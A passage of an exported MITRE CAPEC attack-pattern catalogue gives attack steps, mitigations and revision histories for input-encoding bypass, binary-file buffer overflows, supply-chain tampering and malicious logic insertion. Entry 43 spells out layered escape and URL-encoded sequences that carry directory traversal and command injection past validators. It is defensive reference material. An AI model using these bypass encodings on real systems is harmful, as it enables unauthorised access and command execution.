+ + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification22842 + Modification_22842 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Description Summary + + + + + + + + + + + + #CAPEC-43 + Exploiting Multiple Input Interpretation Layers + + + + + + + + + 43 + + + + + Exploiting Multiple Input Interpretation Layers + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: &lt;parser1&gt; --&gt; &lt;input validator&gt; --&gt; &lt;parser2&gt;. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern22857 + Related_Attack_Pattern_22857 + + + + + + + + + + + + + + 267 + + + + + + + + + + + + #indAttackStepAttackStep22860 + Attack_Step_22860 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine application/system inputs where bypassing input validation is desired] The attacker first needs to determine all of the application's/system's inputs where input validation is being performed and where they want to bypass it.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">While using an application/system, the attacker discovers an input where validation is stopping them from performing some malicious or unauthorized actions.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep22866 + Attack_Step_22866 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine which character encodings are accepted by the application/system] The attacker then needs to provide various character encodings to the application/system and determine which ones are accepted. The attacker will need to observe the application's/system's response to the encoded data to determine whether the data was interpreted properly.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Determine which escape characters are accepted by the application/system. A common escape character is the backslash character, '\\'</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Determine whether URL encoding is accepted by the application/system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Determine whether UTF-8 encoding is accepted by the application/system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Determine whether UTF-16 encoding is accepted by the application/system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Determine if any other encodings are accepted by the application/system.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep22876 + Attack_Step_22876 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Combine multiple encodings accepted by the application.] The attacker now combines encodings accepted by the application. The attacker may combine different encodings or apply the same encoding multiple times.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Combine same encoding multiple times and observe its effects. For example, if special characters are encoded with a leading backslash, then the following encoding may be accepted by the application/system: "\\\\\\.". With two parsing layers, this may get converted to "\\." after the first parsing layer, and then, to "." after the second. If the input validation layer is between the two parsing layers, then "\\\\\\.\\\\\\." might pass a test for ".." but still get converted to ".." afterwards. This may enable directory traversal attacks.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Combine multiple encodings and observe the effects. For example, the attacker might encode "." as "\\.", and then, encode "\\." as "&amp;#92;&amp;#46;", and then, encode that using URL encoding to "%26%2392%3B%26%2346%3B"</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep22883 + Attack_Step_22883 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Leverage ability to bypass input validation] Attacker leverages their ability to bypass input validation to gain unauthorized access to system. There are many attacks possible, and a few examples are mentioned here.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Gain access to sensitive files.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Perform command injection.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Perform SQL injection.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Perform XSS attacks.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">User input is used to construct a command to be executed on the target system or as part of the file name.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Multiple parser passes are performed on the data supplied by the user.</xhtml:div> + + + + + + + + + + + + #indSkillSkill22898 + Skill_22898 + + + + + + + + + + + + + + Knowledge of various escaping schemes, such as URL escape encoding and XML escape characters. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Control characters are being detected by the filters repeatedly.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence22904 + Consequence_22904 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence22908 + Consequence_22908 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence22914 + Consequence_22914 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An iterative approach to input validation may be required to ensure that no dangerous characters are present. It may be necessary to implement redundant checking across different input validation layers. Ensure that invalid data is rejected as soon as possible and do not continue to work with it.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Make sure to perform input validation on canonicalized data (i.e. data that is data in its most standard form). This will help avoid tricky encodings getting past the filters.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Assume all input is malicious. Create an allowlist that defines all valid input to the software system based on the requirements specifications. Input that does not match against the allowlist would not be permitted to enter into the system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The backslash character provides a good example of the multiple-parser issue. A backslash is used to escape characters in strings, but is also used to delimit directories on the NT file system. When performing a command injection that includes NT paths, there is usually a need to "double escape" the backslash. In some cases, a quadruple escape is necessary.&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;Original String: C:\\\\\\\\winnt\\\\\\\\system32\\\\\\\\cmd.exe /c&lt;xhtml:br&gt;&lt;/xhtml:br&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;&amp;lt;parsing layer&amp;gt;&lt;xhtml:br&gt;&lt;/xhtml:br&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;Interim String: C:\\\\winnt\\\\system32\\\\cmd.exe /c&lt;xhtml:br&gt;&lt;/xhtml:br&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;&amp;lt;parsing layer&amp;gt;&lt;xhtml:br&gt;&lt;/xhtml:br&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;Final String: C:\\winnt\\system32\\cmd.exe /c&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This diagram shows each successive layer of parsing translating the backslash character. A double backslash becomes a single as it is parsed. By using quadruple backslashes, the attacker is able to control the result in the final string.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;[REF-1]&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 179 + + + + + 181 + + + + + 184 + + + + + 183 + + + + + 77 + + + + + 78 + + + + + 74 + + + + + 20 + + + + + 697 + + + + + 707 + + + + + + + + + + + + #indReferenceReference22949 + Reference_22949 + + + + + + + + + REF-1 + + + + + + + + + + + + #indContentHistoryContentHistory22951 + Content_History_22951 + + + + + + + + + + + + + + + + #indSubmissionSubmission22952 + Submission_22952 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification22957 + Modification_22957 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attacker_Skills_or_Knowledge_Required, Description, Description Summary, References + + + + + + + + + + + + #indModificationModification22963 + Modification_22963 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Example_Instances, Execution_Flow, Mitigations + + + + + + + + + + + + #indModificationModification22969 + Modification_22969 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification22975 + Modification_22975 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-430 + DEPRECATED: Target Influence via Micro-Expressions + + + + + + + + + 430 + + + + + DEPRECATED: Target Influence via Micro-Expressions + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory22987 + Content_History_22987 + + + + + + + + + + + + + + + + #indSubmissionSubmission22988 + Submission_22988 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification22993 + Modification_22993 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description Summary, References, Related_Attack_Patterns, Typical_Severity + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName22999 + Previous_Entry_Name_22999 + + + + + + + + + 2018-07-31 + + + + + Target Influence via Micro-Expressions + + + + + + + + + + + + #CAPEC-431 + DEPRECATED: Target Influence via Neuro-Linguistic Programming (NLP) + + + + + + + + + 431 + + + + + DEPRECATED: Target Influence via Neuro-Linguistic Programming (NLP) + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory23007 + Content_History_23007 + + + + + + + + + + + + + + + + #indSubmissionSubmission23008 + Submission_23008 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification23013 + Modification_23013 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description Summary, References, Related_Attack_Patterns, Typical_Severity + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName23019 + Previous_Entry_Name_23019 + + + + + + + + + 2018-07-31 + + + + + Target Influence via Neuro-Linguistic Programming (NLP) + + + + + + + + + + + + #CAPEC-432 + DEPRECATED: Target Influence via Voice in NLP + + + + + + + + + 432 + + + + + DEPRECATED: Target Influence via Voice in NLP + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory23026 + Content_History_23026 + + + + + + + + + + + + + + + + #indSubmissionSubmission23027 + Submission_23027 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification23032 + Modification_23032 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description Summary, References, Related_Attack_Patterns, Typical_Severity + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName23038 + Previous_Entry_Name_23038 + + + + + + + + + 2018-07-31 + + + + + Target Influence via Voice in NLP + + + + + + + + + + + + #CAPEC-433 + Target Influence via The Human Buffer Overflow + + + + + + + + + 433 + + + + + Target Influence via The Human Buffer Overflow + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker utilizes a technique to insinuate commands to the subconscious mind of the target via communication patterns. The human buffer overflow methodology does not rely on over-stimulating the mind of the target, but rather embedding messages within communication that the mind of the listener assembles at a subconscious level. The human buffer-overflow method is similar to subconscious programming to the extent that messages are embedded within the message.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The fundamental difference is that embedded messages have a complete semantic quality, rather than mere imagery, and the mind of the target tends to key off of particular dominant patterns. The remaining information, carefully structured, speaks directly to the subconscious with a subtle, indirect, command. The effect is to produce a pattern of thinking that the attacker has predetermined but is buried within the message and not overtly stated. Structuring a human "buffer overflow" requires precise attention to detail and the use of information in a manner that distracts the conscious mind from the message the subconscious is receiving.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern23050 + Related_Attack_Pattern_23050 + + + + + + + + + + + + + + 427 + + + + + + + + + + + + #indReferenceReference23053 + Reference_23053 + + + + + + + + + REF-348 + + + + + + + + + + + + #indContentHistoryContentHistory23055 + Content_History_23055 + + + + + + + + + + + + + + + + #indSubmissionSubmission23056 + Submission_23056 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification23061 + Modification_23061 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-434 + Target Influence via Interview and Interrogation + + + + + + + + + 434 + + + + + Target Influence via Interview and Interrogation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"></xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern23075 + Related_Attack_Pattern_23075 + + + + + + + + + + + + + + 427 + + + + + + + + + + + + #indReferenceReference23078 + Reference_23078 + + + + + + + + + REF-348 + + + + + + + + + + + + #indContentHistoryContentHistory23080 + Content_History_23080 + + + + + + + + + + + + + + + + #indSubmissionSubmission23081 + Submission_23081 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #CAPEC-435 + Target Influence via Instant Rapport + + + + + + + + + 435 + + + + + Target Influence via Instant Rapport + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"></xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern23093 + Related_Attack_Pattern_23093 + + + + + + + + + + + + + + 427 + + + + + + + + + + + + #indReferenceReference23096 + Reference_23096 + + + + + + + + + REF-348 + + + + + + + + + + + + #indContentHistoryContentHistory23098 + Content_History_23098 + + + + + + + + + + + + + + + + #indSubmissionSubmission23099 + Submission_23099 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #CAPEC-438 + Modification During Manufacture + + + + + + + + + 438 + + + + + Modification During Manufacture + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker modifies a technology, product, or component during a stage in its manufacture for the purpose of carrying out an attack against some entity involved in the supply chain lifecycle. There are an almost limitless number of ways an attacker can modify a technology when they are involved in its manufacture, as the attacker has potential inroads to the software composition, hardware design and assembly, firmware, or basic design mechanics. Additionally, manufacturing of key components is often outsourced with the final product assembled by the primary manufacturer. The greatest risk, however, is deliberate manipulation of design specifications to produce malicious hardware or devices. There are billions of transistors in a single integrated circuit and studies have shown that fewer than 10 transistors are required to create malicious functionality.</xhtml:div> + + + + + + + + + + + + #indTaxonomyMappingSupplyChainCompromise + Supply Chain Compromise + + + + + + + + + + + + + + 1195 + + + + + Supply Chain Compromise + + + + + + + + + + + + #indReferenceReference23116 + Reference_23116 + + + + + + + + + REF-379 + + + + + + + + + + + + #indReferenceReference23117 + Reference_23117 + + + + + + + + + REF-380 + + + + + + + + + + + + #indReferenceReference23118 + Reference_23118 + + + + + + + + + REF-381 + + + + + + + + + + + + #indReferenceReference23119 + Reference_23119 + + + + + + + + + REF-382 + + + + + Section 1. Introduction + + + + + + + + + + + + #indContentHistoryContentHistory23121 + Content_History_23121 + + + + + + + + + + + + + + + + #indSubmissionSubmission23122 + Submission_23122 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification23127 + Modification_23127 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification23133 + Modification_23133 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification23139 + Modification_23139 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName23145 + Previous_Entry_Name_23145 + + + + + + + + + 2015-11-09 + + + + + Integrity Modification During Manufacture + + + + + + + + + + + + #CAPEC-439 + Manipulation During Distribution + + + + + + + + + 439 + + + + + Manipulation During Distribution + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker undermines the integrity of a product, software, or technology at some stage of the distribution channel. The core threat of modification or manipulation during distribution arise from the many stages of distribution, as a product may traverse multiple suppliers and integrators as the final asset is delivered. Components and services provided from a manufacturer to a supplier may be tampered with during integration or packaging.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A malicious OEM provider, or OEM provider employee or contractor, may install software, or modify existing code, during distribution.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">External contractors involved in the packaging or testing of products or components may install software, or modify existing code, during distribution.</xhtml:div> + + + + + 1269 + + + + + + + + + + + + #indTaxonomyMappingSupplyChainCompromise + Supply Chain Compromise + + + + + + + + + + + + + + 1195 + + + + + Supply Chain Compromise + + + + + + + + + + + + #indReferenceReference23165 + Reference_23165 + + + + + + + + + REF-379 + + + + + + + + + + + + #indReferenceReference23166 + Reference_23166 + + + + + + + + + REF-384 + + + + + + + + + + + + #indReferenceReference23167 + Reference_23167 + + + + + + + + + REF-382 + + + + + Section 1. Introduction + + + + + + + + + + + + #indContentHistoryContentHistory23169 + Content_History_23169 + + + + + + + + + + + + + + + + #indSubmissionSubmission23170 + Submission_23170 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification23175 + Modification_23175 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification23181 + Modification_23181 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Weaknesses, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification23187 + Modification_23187 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName23193 + Previous_Entry_Name_23193 + + + + + + + + + 2015-11-09 + + + + + Integrity Modification During Distribution + + + + + + + + + + + + #CAPEC-44 + Overflow Binary Resource File + + + + + + + + + 44 + + + + + Overflow Binary Resource File + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attack of this type exploits a buffer overflow vulnerability in the handling of binary resources. Binary resources may include music files like MP3, image files like JPEG files, and any other binary file. These attacks may pass unnoticed to the client machine through normal usage of files, such as a browser loading a seemingly innocent JPEG file. This can allow the adversary access to the execution stack and execute arbitrary code in the target process.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern is a variant of standard buffer overflow attack using an unexpected vector (binary files) to wrap its attack and open up a new attack vector. The adversary is required to either directly serve the binary content to the victim, or place it in a locale like a MP3 sharing application for the victim to download. The adversary then is notified upon the download or otherwise locates the vulnerability opened up by the buffer overflow.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern23203 + Related_Attack_Pattern_23203 + + + + + + + + + + + + + + 100 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern23204 + Related_Attack_Pattern_23204 + + + + + + + + + + + + + + 23 + + + + + + + + + + + + #indAttackStepAttackStep23207 + Attack_Step_23207 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify target software] The adversary identifies software that uses external binary files in some way. This could be a file upload, downloading a file from a shared location, or other means.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep23212 + Attack_Step_23212 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find injection vector] The adversary creates a malicious binary file by altering the header to make the file seem shorter than it is. Additional bytes are added to the end of the file to be placed in the overflowed location. The adversary then deploys the file to the software to determine if a buffer overflow was successful.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep23217 + Attack_Step_23217 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Craft overflow content] Once the adversary has determined that this attack is viable, they will specially craft the binary file in a way that achieves the desired behavior. If the source code is available, the adversary can carefully craft the malicious file so that the return address is overwritten to an intended value. If the source code is not available, the adversary will iteratively alter the file in order to overwrite the return address correctly.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create malicious shellcode that will execute when the program execution is returned to it.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a NOP-sled in the overflow content to more easily "slide" into the malicious code. This is done so that the exact return address need not be correct, only in the range of all of the NOPs</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep23224 + Attack_Step_23224 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Overflow the buffer] Once the adversary has constructed a file that will effectively overflow the targeted software in the intended way. The file is deployed to the software, either by serving it directly to the software or placing it in a shared location for a victim to load into the software.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Target software processes binary resource files.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Target software contains a buffer overflow vulnerability reachable through input from a user-controllable binary resource file.</xhtml:div> + + + + + + + + + + + + #indSkillSkill23235 + Skill_23235 + + + + + + + + + + + + + + To modify file, deceive client into downloading, locate and exploit remote stack or heap vulnerability + + + + + + + + + + + + #indConsequenceConsequence23238 + Consequence_23238 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence23242 + Consequence_23242 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Perform appropriate bounds checking on all buffers.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Enforce principle of least privilege</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Static code analysis</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Execute program in less trusted process space environment, do not allow lower integrity processes to write to higher integrity processes</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Keep software patched to ensure that known vulnerabilities are not available for adversaries to target on host.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Binary files like music and video files are appended with additional data to cause buffer overflow on target systems. Because these files may be filled with otherwise popular content, the adversary has an excellent vector for wide distribution. There have been numerous cases, for example of malicious screen savers for sports teams that are distributed on the event of the team winning a championship.</xhtml:div> + + + + + 120 + + + + + 119 + + + + + 697 + + + + + + + + + + + + #indReferenceReference23266 + Reference_23266 + + + + + + + + + REF-1 + + + + + + + + + + + + #indContentHistoryContentHistory23268 + Content_History_23268 + + + + + + + + + + + + + + + + #indSubmissionSubmission23269 + Submission_23269 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification23274 + Modification_23274 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification23280 + Modification_23280 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification23286 + Modification_23286 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification23292 + Modification_23292 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Description, Execution_Flow, Extended_Description + + + + + + + + + + + + #indModificationModification23298 + Modification_23298 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Example_Instances, Mitigations + + + + + + + + + + + + #CAPEC-440 + Hardware Integrity Attack + + + + + + + + + 440 + + + + + Hardware Integrity Attack + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary exploits a weakness in the system maintenance process and causes a change to be made to a technology, product, component, or sub-component or a new one installed during its deployed use at the victim location for the purpose of carrying out an attack.</xhtml:div> + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Influence over the deployed system at a victim location.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence23314 + Consequence_23314 + + + + + + + + + + + + + + + + + + + + + + + + + + #indTaxonomyMappingSupplyChainCompromiseCompromiseHardwareSupplyChain + Supply Chain Compromise: Compromise Hardware Supply Chain + + + + + + + + + + + + + + 1195.003 + + + + + Supply Chain Compromise: Compromise Hardware Supply Chain + + + + + + + + + + + + #indTaxonomyMappingHardwareAdditions + Hardware Additions + + + + + + + + + + + + + + 1200 + + + + + Hardware Additions + + + + + + + + + + + + #indContentHistoryContentHistory23329 + Content_History_23329 + + + + + + + + + + + + + + + + #indSubmissionSubmission23330 + Submission_23330 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification23335 + Modification_23335 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Description Summary, Examples-Instances, References + + + + + + + + + + + + #indModificationModification23341 + Modification_23341 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification23347 + Modification_23347 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Description, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification23353 + Modification_23353 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName23359 + Previous_Entry_Name_23359 + + + + + + + + + 2015-11-09 + + + + + Integrity Modification During Deployed Use + + + + + + + + + + + + #CAPEC-441 + Malicious Logic Insertion + + + + + + + + + 441 + + + + + Malicious Logic Insertion + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary installs or adds malicious logic (also known as malware) into a seemingly benign component of a fielded system. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. With the proliferation of mass digital storage and inexpensive multimedia devices, Bluetooth and 802.11 support, new attack vectors for spreading malware are emerging for things we once thought of as innocuous greeting cards, picture frames, or digital projectors. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems and their components that are still under development and part of the supply chain.</xhtml:div> + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Access to the component currently deployed at a victim location.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence23370 + Consequence_23370 + + + + + + + + + + + + + + + + + + + 284 + + + + + + + + + + + + #indContentHistoryContentHistory23378 + Content_History_23378 + + + + + + + + + + + + + + + + #indSubmissionSubmission23379 + Submission_23379 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + 